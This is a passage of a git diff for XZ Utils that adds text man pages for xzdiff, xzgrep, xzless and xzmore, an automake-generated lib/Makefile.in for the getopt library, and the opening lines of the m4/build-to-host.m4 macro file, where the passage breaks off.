lzcmp and lzdiff are provided for backward compatibility + with LZMA Utils. + +EXIT STATUS + If a decompression error occurs, the exit status is 2. Otherwise the + exit status of cmp(1) or diff(1) is used. + +SEE ALSO + cmp(1), diff(1), xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), lz4(1) + + + +Tukaani 2024-02-13 XZDIFF(1) diff --git a/doc/man/txt/xzgrep.txt b/doc/man/txt/xzgrep.txt new file mode 100644 index 00000000..547166b5 --- /dev/null +++ b/doc/man/txt/xzgrep.txt @@ -0,0 +1,73 @@ +XZGREP(1) XZ Utils XZGREP(1) + + + +NAME + xzgrep - search possibly-compressed files for patterns + +SYNOPSIS + xzgrep [option...] [pattern_list] [file...] + xzegrep ... + xzfgrep ... + lzgrep ... + lzegrep ... + lzfgrep ... + +DESCRIPTION + xzgrep invokes grep(1) on uncompressed contents of files. The formats + of the files are determined from the filename suffixes. Any file with + a suffix supported by xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), or + lz4(1) will be decompressed; all other files are assumed to be uncom- + pressed. + + If no files are specified or file is - then standard input is read. + When reading from standard input, only files supported by xz(1) are de- + compressed. Other files are assumed to be in uncompressed form al- + ready. + + Most options of grep(1) are supported. However, the following options + are not supported: + + -r, --recursive + + -R, --dereference-recursive + + -d, --directories=action + + -Z, --null + + -z, --null-data + + --include=glob + + --exclude=glob + + --exclude-from=file + + --exclude-dir=glob + + xzegrep is an alias for xzgrep -E. xzfgrep is an alias for xzgrep -F. + + The commands lzgrep, lzegrep, and lzfgrep are provided for backward + compatibility with LZMA Utils. + +EXIT STATUS + 0 At least one match was found from at least one of the input + files. No errors occurred. + + 1 No matches were found from any of the input files. No errors + occurred. + + >1 One or more errors occurred. It is unknown if matches were + found. + +ENVIRONMENT + GREP If GREP is set to a non-empty value, it is used instead of grep, + grep -E, or grep -F. + +SEE ALSO + grep(1), xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), lz4(1), zgrep(1) + + + +Tukaani 2024-02-13 XZGREP(1) diff --git a/doc/man/txt/xzless.txt b/doc/man/txt/xzless.txt new file mode 100644 index 00000000..1c97b62c --- /dev/null +++ b/doc/man/txt/xzless.txt @@ -0,0 +1,40 @@ +XZLESS(1) XZ Utils XZLESS(1) + + + +NAME + xzless, lzless - view xz or lzma compressed (text) files + +SYNOPSIS + xzless [file...] + lzless [file...] + +DESCRIPTION + xzless is a filter that displays text from compressed files to a termi- + nal. Files supported by xz(1) are decompressed; other files are as- + sumed to be in uncompressed form already. If no files are given, xz- + less reads from standard input. + + xzless uses less(1) to present its output. Unlike xzmore, its choice + of pager cannot be altered by setting an environment variable. Com- + mands are based on both more(1) and vi(1) and allow back and forth + movement and searching. See the less(1) manual for more information. + + The command named lzless is provided for backward compatibility with + LZMA Utils. + +ENVIRONMENT + LESSMETACHARS + A list of characters special to the shell. Set by xzless unless + it is already set in the environment. + + LESSOPEN + Set to a command line to invoke the xz(1) decompressor for pre- + processing the input files to less(1). + +SEE ALSO + less(1), xz(1), xzmore(1), zless(1) + + + +Tukaani 2024-02-12 XZLESS(1) diff --git a/doc/man/txt/xzmore.txt b/doc/man/txt/xzmore.txt new file mode 100644 index 00000000..de8039f1 --- /dev/null +++ b/doc/man/txt/xzmore.txt @@ -0,0 +1,35 @@ +XZMORE(1) XZ Utils XZMORE(1) + + + +NAME + xzmore, lzmore - view xz or lzma compressed (text) files + +SYNOPSIS + xzmore [file...] + lzmore [file...] + +DESCRIPTION + xzmore displays text from compressed files to a terminal using more(1). + Files supported by xz(1) are decompressed; other files are assumed to + be in uncompressed form already. If no files are given, xzmore reads + from standard input. See the more(1) manual for the keyboard commands. + + Note that scrolling backwards might not be possible depending on the + implementation of more(1). This is because xzmore uses a pipe to pass + the decompressed data to more(1). xzless(1) uses less(1) which pro- + vides more advanced features. + + The command lzmore is provided for backward compatibility with LZMA + Utils. + +ENVIRONMENT + PAGER If PAGER is set, its value is used as the pager instead of + more(1). + +SEE ALSO + more(1), xz(1), xzless(1), zmore(1) + + + +Tukaani 2024-02-12 XZMORE(1) diff --git a/lib/Makefile.in b/lib/Makefile.in new file mode 100644 index 00000000..0493684b --- /dev/null +++ b/lib/Makefile.in @@ -0,0 +1,611 @@ +# Makefile.in generated by automake 1.16.5 from Makefile.am. +# @configure_input@ + +# Copyright (C) 1994-2021 Free Software Foundation, Inc. + +# This Makefile.in is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY, to the extent permitted by law; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A +# PARTICULAR PURPOSE. + +@SET_MAKE@ + +VPATH = @srcdir@ +am__is_gnu_make = { \ + if test -z '$(MAKELEVEL)'; then \ + false; \ + elif test -n '$(MAKE_HOST)'; then \ + true; \ + elif test -n '$(MAKE_VERSION)' && test -n '$(CURDIR)'; then \ + true; \ + else \ + false; \ + fi; \ +} +am__make_running_with_option = \ + case $${target_option-} in \ + ?) ;; \ + *) echo "am__make_running_with_option: internal error: invalid" \ + "target option '$${target_option-}' specified" >&2; \ + exit 1;; \ + esac; \ + has_opt=no; \ + sane_makeflags=$$MAKEFLAGS; \ + if $(am__is_gnu_make); then \ + sane_makeflags=$$MFLAGS; \ + else \ + case $$MAKEFLAGS in \ + *\\[\ \ ]*) \ + bs=\\; \ + sane_makeflags=`printf '%s\n' "$$MAKEFLAGS" \ + | sed "s/$$bs$$bs[$$bs $$bs ]*//g"`;; \ + esac; \ + fi; \ + skip_next=no; \ + strip_trailopt () \ + { \ + flg=`printf '%s\n' "$$flg" | sed "s/$$1.*$$//"`; \ + }; \ + for flg in $$sane_makeflags; do \ + test $$skip_next = yes && { skip_next=no; continue; }; \ + case $$flg in \ + *=*|--*) continue;; \ + -*I) strip_trailopt 'I'; skip_next=yes;; \ + -*I?*) strip_trailopt 'I';; \ + -*O) strip_trailopt 'O'; skip_next=yes;; \ + -*O?*) strip_trailopt 'O';; \ + -*l) strip_trailopt 'l'; skip_next=yes;; \ + -*l?*) strip_trailopt 'l';; \ + -[dEDm]) skip_next=yes;; \ + -[JT]) skip_next=yes;; \ + esac; \ + case $$flg in \ + *$$target_option*) has_opt=yes; break;; \ + esac; \ + done; \ + test $$has_opt = yes +am__make_dryrun = (target_option=n; $(am__make_running_with_option)) +am__make_keepgoing = (target_option=k; $(am__make_running_with_option)) +pkgdatadir = $(datadir)/@PACKAGE@ +pkgincludedir = $(includedir)/@PACKAGE@ +pkglibdir = $(libdir)/@PACKAGE@ +pkglibexecdir = $(libexecdir)/@PACKAGE@ +am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd +install_sh_DATA = $(install_sh) -c -m 644 +install_sh_PROGRAM = $(install_sh) -c +install_sh_SCRIPT = $(install_sh) -c +INSTALL_HEADER = $(INSTALL_DATA) +transform = $(program_transform_name) +NORMAL_INSTALL = : +PRE_INSTALL = : +POST_INSTALL = : +NORMAL_UNINSTALL = : +PRE_UNINSTALL = : +POST_UNINSTALL = : +build_triplet = @build@ +host_triplet = @host@ +subdir = lib +ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 +am__aclocal_m4_deps = $(top_srcdir)/m4/ax_pthread.m4 \ + $(top_srcdir)/m4/build-to-host.m4 $(top_srcdir)/m4/getopt.m4 \ + $(top_srcdir)/m4/gettext.m4 $(top_srcdir)/m4/host-cpu-c-abi.m4 \ + $(top_srcdir)/m4/iconv.m4 $(top_srcdir)/m4/intlmacosx.m4 \ + $(top_srcdir)/m4/lib-ld.m4 $(top_srcdir)/m4/lib-link.m4 \ + $(top_srcdir)/m4/lib-prefix.m4 $(top_srcdir)/m4/libtool.m4 \ + $(top_srcdir)/m4/ltoptions.m4 $(top_srcdir)/m4/ltsugar.m4 \ + $(top_srcdir)/m4/ltversion.m4 $(top_srcdir)/m4/lt~obsolete.m4 \ + $(top_srcdir)/m4/nls.m4 $(top_srcdir)/m4/po.m4 \ + $(top_srcdir)/m4/posix-shell.m4 $(top_srcdir)/m4/progtest.m4 \ + $(top_srcdir)/m4/tuklib_common.m4 \ + $(top_srcdir)/m4/tuklib_cpucores.m4 \ + $(top_srcdir)/m4/tuklib_integer.m4 \ + $(top_srcdir)/m4/tuklib_mbstr.m4 \ + $(top_srcdir)/m4/tuklib_physmem.m4 \ + $(top_srcdir)/m4/tuklib_progname.m4 \ + $(top_srcdir)/m4/visibility.m4 $(top_srcdir)/configure.ac +am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ + $(ACLOCAL_M4) +DIST_COMMON = $(srcdir)/Makefile.am $(am__DIST_COMMON) +mkinstalldirs = $(install_sh) -d +CONFIG_HEADER = $(top_builddir)/config.h +CONFIG_CLEAN_FILES = +CONFIG_CLEAN_VPATH_FILES = +LIBRARIES = $(noinst_LIBRARIES) +ARFLAGS = cru +AM_V_AR = $(am__v_AR_@AM_V@) +am__v_AR_ = $(am__v_AR_@AM_DEFAULT_V@) +am__v_AR_0 = @echo " AR " $@; +am__v_AR_1 = +libgnu_a_AR = $(AR) $(ARFLAGS) +am_libgnu_a_OBJECTS = +libgnu_a_OBJECTS = $(am_libgnu_a_OBJECTS) +AM_V_P = $(am__v_P_@AM_V@) +am__v_P_ = $(am__v_P_@AM_DEFAULT_V@) +am__v_P_0 = false +am__v_P_1 = : +AM_V_GEN = $(am__v_GEN_@AM_V@) +am__v_GEN_ = $(am__v_GEN_@AM_DEFAULT_V@) +am__v_GEN_0 = @echo " GEN " $@; +am__v_GEN_1 = +AM_V_at = $(am__v_at_@AM_V@) +am__v_at_ = $(am__v_at_@AM_DEFAULT_V@) +am__v_at_0 = @ +am__v_at_1 = +DEFAULT_INCLUDES = -I.@am__isrc@ -I$(top_builddir) +depcomp = $(SHELL) $(top_srcdir)/build-aux/depcomp +am__maybe_remake_depfiles = depfiles +am__depfiles_remade = $(DEPDIR)/getopt.Po $(DEPDIR)/getopt1.Po +am__mv = mv -f +COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \ + $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) +AM_V_lt = $(am__v_lt_@AM_V@) +am__v_lt_ = $(am__v_lt_@AM_DEFAULT_V@) +am__v_lt_0 = --silent +am__v_lt_1 = +LTCOMPILE = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \ + $(LIBTOOLFLAGS) --mode=compile $(CC) $(DEFS) \ + $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \ + $(AM_CFLAGS) $(CFLAGS) +AM_V_CC = $(am__v_CC_@AM_V@) +am__v_CC_ = $(am__v_CC_@AM_DEFAULT_V@) +am__v_CC_0 = @echo " CC " $@; +am__v_CC_1 = +CCLD = $(CC) +LINK = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \ + $(LIBTOOLFLAGS) --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \ + $(AM_LDFLAGS) $(LDFLAGS) -o $@ +AM_V_CCLD = $(am__v_CCLD_@AM_V@) +am__v_CCLD_ = $(am__v_CCLD_@AM_DEFAULT_V@) +am__v_CCLD_0 = @echo " CCLD " $@; +am__v_CCLD_1 = +SOURCES = $(libgnu_a_SOURCES) +DIST_SOURCES = $(libgnu_a_SOURCES) +am__can_run_installinfo = \ + case $$AM_UPDATE_INFO_DIR in \ + n|no|NO) false;; \ + *) (install-info --version) >/dev/null 2>&1;; \ + esac +am__tagged_files = $(HEADERS) $(SOURCES) $(TAGS_FILES) $(LISP) +am__DIST_COMMON = $(srcdir)/Makefile.in \ + $(top_srcdir)/build-aux/depcomp getopt.c getopt1.c +DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) +ACLOCAL = @ACLOCAL@ +AMTAR = @AMTAR@ +AM_CFLAGS = @AM_CFLAGS@ +AM_DEFAULT_VERBOSITY = @AM_DEFAULT_VERBOSITY@ +AR = @AR@ +AS = @AS@ +AUTOCONF = @AUTOCONF@ +AUTOHEADER = @AUTOHEADER@ +AUTOMAKE = @AUTOMAKE@ +AWK = @AWK@ +CC = @CC@ +CCAS = @CCAS@ +CCASDEPMODE = @CCASDEPMODE@ +CCASFLAGS = @CCASFLAGS@ +CCDEPMODE = @CCDEPMODE@ +CFLAGS = @CFLAGS@ +CFLAG_VISIBILITY = @CFLAG_VISIBILITY@ +CPP = @CPP@ +CPPFLAGS = @CPPFLAGS@ +CSCOPE = @CSCOPE@ +CTAGS = @CTAGS@ +CYGPATH_W = @CYGPATH_W@ +DEFS = @DEFS@ +DEPDIR = @DEPDIR@ +DLLTOOL = @DLLTOOL@ +DSYMUTIL = @DSYMUTIL@ +DUMPBIN = @DUMPBIN@ +ECHO_C = @ECHO_C@ +ECHO_N = @ECHO_N@ +ECHO_T = @ECHO_T@ +EGREP = @EGREP@ +ETAGS = @ETAGS@ +EXEEXT = @EXEEXT@ +FGREP = @FGREP@ +FILECMD = @FILECMD@ +GETOPT_H = @GETOPT_H@ +GETTEXT_MACRO_VERSION = @GETTEXT_MACRO_VERSION@ +GMSGFMT = @GMSGFMT@ +GMSGFMT_015 = @GMSGFMT_015@ +GREP = @GREP@ +HAVE_VISIBILITY = @HAVE_VISIBILITY@ +INSTALL = @INSTALL@ +INSTALL_DATA = @INSTALL_DATA@ +INSTALL_PROGRAM = @INSTALL_PROGRAM@ +INSTALL_SCRIPT = @INSTALL_SCRIPT@ +INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ +INTLLIBS = @INTLLIBS@ +INTL_MACOSX_LIBS = @INTL_MACOSX_LIBS@ +LD = @LD@ +LDFLAGS = @LDFLAGS@ +LIBICONV = @LIBICONV@ +LIBINTL = @LIBINTL@ +LIBOBJS = @LIBOBJS@ +LIBS = @LIBS@ +LIBTOOL = @LIBTOOL@ +LIPO = @LIPO@ +LN_EXEEXT = @LN_EXEEXT@ +LN_S = @LN_S@ +LTLIBICONV = @LTLIBICONV@ +LTLIBINTL = @LTLIBINTL@ +LTLIBOBJS = @LTLIBOBJS@ +LT_SYS_LIBRARY_PATH = @LT_SYS_LIBRARY_PATH@ +MAKEINFO = @MAKEINFO@ +MANIFEST_TOOL = @MANIFEST_TOOL@ +MKDIR_P = @MKDIR_P@ +MSGFMT = @MSGFMT@ +MSGMERGE = @MSGMERGE@ +MSGMERGE_FOR_MSGFMT_OPTION = @MSGMERGE_FOR_MSGFMT_OPTION@ +NM = @NM@ +NMEDIT = @NMEDIT@ +OBJDUMP = @OBJDUMP@ +OBJEXT = @OBJEXT@ +OTOOL = @OTOOL@ +OTOOL64 = @OTOOL64@ +PACKAGE = @PACKAGE@ +PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ +PACKAGE_NAME = @PACKAGE_NAME@ +PACKAGE_STRING = @PACKAGE_STRING@ +PACKAGE_TARNAME = @PACKAGE_TARNAME@ +PACKAGE_URL = @PACKAGE_URL@ +PACKAGE_VERSION = @PACKAGE_VERSION@ +PATH_SEPARATOR = @PATH_SEPARATOR@ +POSIX_SHELL = @POSIX_SHELL@ +POSUB = @POSUB@ +PREFERABLY_POSIX_SHELL = @PREFERABLY_POSIX_SHELL@ +PTHREAD_CC = @PTHREAD_CC@ +PTHREAD_CFLAGS = @PTHREAD_CFLAGS@ +PTHREAD_CXX = @PTHREAD_CXX@ +PTHREAD_LIBS = @PTHREAD_LIBS@ +RANLIB = @RANLIB@ +RC = @RC@ +SED = @SED@ +SET_MAKE = @SET_MAKE@ +SHELL = @SHELL@ +STRIP = @STRIP@ +USE_NLS = @USE_NLS@ +VERSION = @VERSION@ +XGETTEXT = @XGETTEXT@ +XGETTEXT_015 = @XGETTEXT_015@ +XGETTEXT_EXTRA_OPTIONS = @XGETTEXT_EXTRA_OPTIONS@ +abs_builddir = @abs_builddir@ +abs_srcdir = @abs_srcdir@ +abs_top_builddir = @abs_top_builddir@ +abs_top_srcdir = @abs_top_srcdir@ +ac_ct_AR = @ac_ct_AR@ +ac_ct_CC = @ac_ct_CC@ +ac_ct_DUMPBIN = @ac_ct_DUMPBIN@ +am__include = @am__include@ +am__leading_dot = @am__leading_dot@ +am__quote = @am__quote@ +am__tar = @am__tar@ +am__untar = @am__untar@ +ax_pthread_config = @ax_pthread_config@ +bindir = @bindir@ +build = @build@ +build_alias = @build_alias@ +build_cpu = @build_cpu@ +build_os = @build_os@ +build_vendor = @build_vendor@ +builddir = @builddir@ +datadir = @datadir@ +datarootdir = @datarootdir@ +docdir = @docdir@ +dvidir = @dvidir@ +enable_path_for_scripts = @enable_path_for_scripts@ +exec_prefix = @exec_prefix@ +host = @host@ +host_alias = @host_alias@ +host_cpu = @host_cpu@ +host_os = @host_os@ +host_vendor = @host_vendor@ +htmldir = @htmldir@ +includedir = @includedir@ +infodir = @infodir@ +install_sh = @install_sh@ +libdir = @libdir@ +libexecdir = @libexecdir@ +localedir = @localedir@ +localedir_c = @localedir_c@ +localedir_c_make = @localedir_c_make@ +localstatedir = @localstatedir@ +mandir = @mandir@ +mkdir_p = @mkdir_p@ +oldincludedir = @oldincludedir@ +pdfdir = @pdfdir@ +prefix = @prefix@ +program_transform_name = @program_transform_name@ +psdir = @psdir@ +runstatedir = @runstatedir@ +sbindir = @sbindir@ +sharedstatedir = @sharedstatedir@ +srcdir = @srcdir@ +sysconfdir = @sysconfdir@ +target_alias = @target_alias@ +top_build_prefix = @top_build_prefix@ +top_builddir = @top_builddir@ +top_srcdir = @top_srcdir@ +xz = @xz@ +noinst_LIBRARIES = libgnu.a +libgnu_a_SOURCES = +libgnu_a_DEPENDENCIES = $(LIBOBJS) +libgnu_a_LIBADD = $(LIBOBJS) +EXTRA_DIST = \ + getopt.in.h \ + getopt.c \ + getopt1.c \ + getopt_int.h \ + getopt-cdefs.h \ + getopt-core.h \ + getopt-ext.h \ + getopt-pfx-core.h \ + getopt-pfx-ext.h + +BUILT_SOURCES = $(GETOPT_H) +MOSTLYCLEANFILES = getopt.h getopt.h-t +all: $(BUILT_SOURCES) + $(MAKE) $(AM_MAKEFLAGS) all-am + +.SUFFIXES: +.SUFFIXES: .c .lo .o .obj +$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) + @for dep in $?; do \ + case '$(am__configure_deps)' in \ + *$$dep*) \ + ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ + && { if test -f $@; then exit 0; else break; fi; }; \ + exit 1;; \ + esac; \ + done; \ + echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign lib/Makefile'; \ + $(am__cd) $(top_srcdir) && \ + $(AUTOMAKE) --foreign lib/Makefile +Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status + @case '$?' in \ + *config.status*) \ + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ + *) \ + echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__maybe_remake_depfiles)'; \ + cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__maybe_remake_depfiles);; \ + esac; + +$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh + +$(top_srcdir)/configure: $(am__configure_deps) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh +$(ACLOCAL_M4): $(am__aclocal_m4_deps) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh +$(am__aclocal_m4_deps): + +clean-noinstLIBRARIES: + -test -z "$(noinst_LIBRARIES)" || rm -f $(noinst_LIBRARIES) + +libgnu.a: $(libgnu_a_OBJECTS) $(libgnu_a_DEPENDENCIES) $(EXTRA_libgnu_a_DEPENDENCIES) + $(AM_V_at)-rm -f libgnu.a + $(AM_V_AR)$(libgnu_a_AR) libgnu.a $(libgnu_a_OBJECTS) $(libgnu_a_LIBADD) + $(AM_V_at)$(RANLIB) libgnu.a + +mostlyclean-compile: + -rm -f *.$(OBJEXT) + +distclean-compile: + -rm -f *.tab.c + +@AMDEP_TRUE@@am__include@ @am__quote@$(DEPDIR)/getopt.Po@am__quote@ # am--include-marker +@AMDEP_TRUE@@am__include@ @am__quote@$(DEPDIR)/getopt1.Po@am__quote@ # am--include-marker + +$(am__depfiles_remade): + @$(MKDIR_P) $(@D) + @echo '# dummy' >$@-t && $(am__mv) $@-t $@ + +am--depfiles: $(am__depfiles_remade) + +.c.o: +@am__fastdepCC_TRUE@ $(AM_V_CC)$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $< +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(COMPILE) -c -o $@ $< + +.c.obj: +@am__fastdepCC_TRUE@ $(AM_V_CC)$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ `$(CYGPATH_W) '$<'` +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(COMPILE) -c -o $@ `$(CYGPATH_W) '$<'` + +.c.lo: +@am__fastdepCC_TRUE@ $(AM_V_CC)$(LTCOMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $< +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Plo +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='$<' object='$@' libtool=yes @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(LTCOMPILE) -c -o $@ $< + +mostlyclean-libtool: + -rm -f *.lo + +clean-libtool: + -rm -rf .libs _libs +tags TAGS: + +ctags CTAGS: + +cscope cscopelist: + +distdir: $(BUILT_SOURCES) + $(MAKE) $(AM_MAKEFLAGS) distdir-am + +distdir-am: $(DISTFILES) + @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ + topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ + list='$(DISTFILES)'; \ + dist_files=`for file in $$list; do echo $$file; done | \ + sed -e "s|^$$srcdirstrip/||;t" \ + -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ + case $$dist_files in \ + */*) $(MKDIR_P) `echo "$$dist_files" | \ + sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ + sort -u` ;; \ + esac; \ + for file in $$dist_files; do \ + if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ + if test -d $$d/$$file; then \ + dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ + if test -d "$(distdir)/$$file"; then \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ + cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ + else \ + test -f "$(distdir)/$$file" \ + || cp -p $$d/$$file "$(distdir)/$$file" \ + || exit 1; \ + fi; \ + done +check-am: all-am +check: $(BUILT_SOURCES) + $(MAKE) $(AM_MAKEFLAGS) check-am +all-am: Makefile $(LIBRARIES) +installdirs: +install: $(BUILT_SOURCES) + $(MAKE) $(AM_MAKEFLAGS) install-am +install-exec: $(BUILT_SOURCES) + $(MAKE) $(AM_MAKEFLAGS) install-exec-am +install-data: install-data-am +uninstall: uninstall-am + +install-am: all-am + @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am + +installcheck: installcheck-am +install-strip: + if test -z '$(STRIP)'; then \ + $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ + install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ + install; \ + else \ + $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ + install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ + "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \ + fi +mostlyclean-generic: + -test -z "$(MOSTLYCLEANFILES)" || rm -f $(MOSTLYCLEANFILES) + +clean-generic: + +distclean-generic: + -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) + -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) + +maintainer-clean-generic: + @echo "This command is intended for maintainers to use" + @echo "it deletes files that may require special tools to rebuild." + -test -z "$(BUILT_SOURCES)" || rm -f $(BUILT_SOURCES) +clean: clean-am + +clean-am: clean-generic clean-libtool clean-noinstLIBRARIES \ + mostlyclean-am + +distclean: distclean-am + -rm -f $(DEPDIR)/getopt.Po + -rm -f $(DEPDIR)/getopt1.Po + -rm -f Makefile +distclean-am: clean-am distclean-compile distclean-generic + +dvi: dvi-am + +dvi-am: + +html: html-am + +html-am: + +info: info-am + +info-am: + +install-data-am: + +install-dvi: install-dvi-am + +install-dvi-am: + +install-exec-am: + +install-html: install-html-am + +install-html-am: + +install-info: install-info-am + +install-info-am: + +install-man: + +install-pdf: install-pdf-am + +install-pdf-am: + +install-ps: install-ps-am + +install-ps-am: + +installcheck-am: + +maintainer-clean: maintainer-clean-am + -rm -f $(DEPDIR)/getopt.Po + -rm -f $(DEPDIR)/getopt1.Po + -rm -f Makefile +maintainer-clean-am: distclean-am maintainer-clean-generic + +mostlyclean: mostlyclean-am + +mostlyclean-am: mostlyclean-compile mostlyclean-generic \ + mostlyclean-libtool + +pdf: pdf-am + +pdf-am: + +ps: ps-am + +ps-am: + +uninstall-am: + +.MAKE: all check install install-am install-exec install-strip + +.PHONY: all all-am am--depfiles check check-am clean clean-generic \ + clean-libtool clean-noinstLIBRARIES cscopelist-am ctags-am \ + distclean distclean-compile distclean-generic \ + distclean-libtool distdir dvi dvi-am html html-am info info-am \ + install install-am install-data install-data-am install-dvi \ + install-dvi-am install-exec install-exec-am install-html \ + install-html-am install-info install-info-am install-man \ + install-pdf install-pdf-am install-ps install-ps-am \ + install-strip installcheck installcheck-am installdirs \ + maintainer-clean maintainer-clean-generic mostlyclean \ + mostlyclean-compile mostlyclean-generic mostlyclean-libtool \ + pdf pdf-am ps ps-am tags-am uninstall uninstall-am + +.PRECIOUS: Makefile + + +getopt.h: getopt.in.h + { echo '/* DO NOT EDIT! GENERATED AUTOMATICALLY! */'; \ + cat $(srcdir)/getopt.in.h; \ + } > $@-t + mv -f $@-t $@ + +# Tell versions [3.59,3.63) of GNU make to not export all variables. +# Otherwise a system limit (for SysV at least) may be exceeded. +.NOEXPORT: diff --git a/m4/build-to-host.m4 b/m4/build-to-host.m4 new file mode 100644 index 00000000..d5ec3153 --- /dev/null +++ b/m4/build-to-host.m4 @@ -0,0 +1,106 @@ +# build-to-host.m4 serial 30 +dnl Copyright (C) 2023-2024 Free Software Foundation, Inc. +dnl This file is free software; the Free Software Foundation +dnl gives unlimited permission to copy and/or distribute it, +dnl with or without modifications, as long as this notice is preserved. + +dnl Written by Bruno Haible. + +dnl When the build environment ($build_os) is different from the target runtime +dnl environment ($host_os), file names may need to be converted from the build +dnl environment syntax to the target runtime environment syntax. This is +dnl because the Makefiles are executed (mostly) by build environment tools and +dnl therefore expect file names in build environment syntax, whereas the runtime +dnl expects file names in target runtime environment syntax. +dnl +dnl For example, if $build_os = cygwin and $host_os = mingw32, filenames need +dnl be converted from Cygwin syntax to native Windows syntax: +dnl /cygdrive/c/foo/bar -> C:\foo\bar +dnl /usr/local/share -> C:\cygwin64\usr\local\share +dnl +dnl gl_BUILD_TO_HOST([somedir]) +dnl This macro takes as input an AC_SUBSTed variable 'somedir', which must +dnl already have its final value assigned, and produces two additional +dnl AC_SUBSTed variables 'somedir_c' and 'somedir_c_make', that designate the +dnl same file name value, just in different syntax: +dnl - somedir_c is the file name in target runtime environment syntax, +dnl as a C string (starting and ending with a double-quote, +dnl and with escaped backslashes and double-quotes in +dnl between). +dnl - somedir_c_make is the same thing, escaped for use in a Makefile. + +AC_DEFUN([gl_BUILD_TO_HOST], +[ + AC_REQUIRE([AC_CANONICAL_BUILD]) + AC_REQUIRE([AC_CANONICAL_HOST]) + 